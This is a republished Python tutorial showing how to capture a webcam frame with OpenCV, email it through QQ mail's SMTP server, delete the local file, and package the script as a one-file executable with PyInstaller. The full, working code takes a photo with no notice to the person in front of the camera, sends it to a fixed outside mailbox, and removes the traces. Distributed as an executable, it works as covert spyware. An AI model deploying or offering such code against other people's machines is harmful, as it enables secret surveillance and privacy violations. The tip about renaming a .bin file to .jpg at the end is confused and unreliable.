Fundamentals 5 min read

Python Tutorial: Capture Webcam Photo, Send It via Email, and Package as an Executable

This guide explains how to install Python and OpenCV, write a script that captures a webcam image and emails it using SMTP, and then package the script into a standalone executable with PyInstaller, including all required commands and code snippets.

Python Programming Learning Circle
Python Programming Learning Circle
Python Programming Learning Circle
Python Tutorial: Capture Webcam Photo, Send It via Email, and Package as an Executable

First, install Python 3.5 or newer from the official website.

Next, install the opencv-python library using the command

pip install opencv-python -i https://pypi.tuna.tsinghua.edu.cn/simple/

, which speeds up the download by using the Tsinghua mirror.

The following Python code captures a photo from the webcam, saves it as image.jpg, and then sends the image as an email attachment via QQ mail using SSL. Replace the placeholder email addresses and authorization code with your own credentials before running.

import os  # 删除图片文件
import cv2  # 调用摄像头拍摄照片
from smtplib import SMTP_SSL  # SSL加密的传输协议
from email.mime.text import MIMEText  # 构建邮件文本
from email.mime.multipart import MIMEMultipart  # 构建邮件体
from email.header import Header  # 发送内容

def get_photo():
    cap = cv2.VideoCapture(0)           # 开启摄像头
    f, frame = cap.read()               # 将摄像头中的一帧图片数据保存
    cv2.imwrite('image.jpg', frame)     # 将图片保存为本地文件
    cap.release()                       # 关闭摄像头

def send_message():
    host_server = 'smtp.qq.com'         # QQ邮箱smtp服务器
    pwd = '****************'            # 授权码
    from_qq_mail = '[email protected]'          # 发件人
    to_qq_mail = '[email protected]'            # 收件人
    msg = MIMEMultipart()               # 创建一封带附件的邮件
    msg['Subject'] = Header('摄像头照片', 'UTF-8')    # 消息主题
    msg['From'] = from_qq_mail                       # 发件人
    msg['To'] = Header("YH", 'UTF-8')                # 收件人
    msg.attach(MIMEText("照片", 'html', 'UTF-8'))    # 添加邮件文本信息
    image = MIMEText(open('image.jpg', 'rb').read(), 'base64', 'utf-8')
    image["Content-Type"] = 'image/jpeg'   # 附件格式为图片的加密数据
    msg.attach(image)                      # 附件添加
    smtp = SMTP_SSL(host_server)           # 链接服务器
    smtp.login(from_qq_mail, pwd)         # 登录邮箱
    smtp.sendmail(from_qq_mail, to_qq_mail, msg.as_string())  # 发送邮箱
    smtp.quit()     # 退出

if __name__ == '__main__':
    get_photo()                 # 开启摄像头获取照片
    send_message()              # 发送照片
    os.remove('image.jpg')      # 删除本地照片

To obtain the QQ mail authorization code, enable POP3/SMTP service in the account settings and follow the verification steps.

To package the script into a single executable, first install PyInstaller with pip install pyinstaller. Then navigate to the script's directory (you can open a terminal directly from the file explorer's address bar) and run:

pyinstaller --console --onefile 7.py  # Replace 7.py with your script name

After the build completes, the executable will be located in the dist folder. Rename the resulting .bin file to .jpg if you need to view the captured image directly.

Original Source

Signed-in readers can open the original source through BestHub's protected redirect.

Sign in to view source
Republication Notice

This article has been distilled and summarized from source material, then republished for learning and reference. If you believe it infringes your rights, please contactadmin@besthub.devand we will review it promptly.

OpenCVEmailWebcam
Python Programming Learning Circle
Written by

Python Programming Learning Circle

A global community of Chinese Python developers offering technical articles, columns, original video tutorials, and problem sets. Topics include web full‑stack development, web scraping, data analysis, natural language processing, image processing, machine learning, automated testing, DevOps automation, and big data.

0 followers
Reader feedback

How this landed with the community

Sign in to like

Rate this article

Was this worth your time?

Sign in to rate
Discussion

0 Comments

Thoughtful readers leave field notes, pushback, and hard-won operational detail here.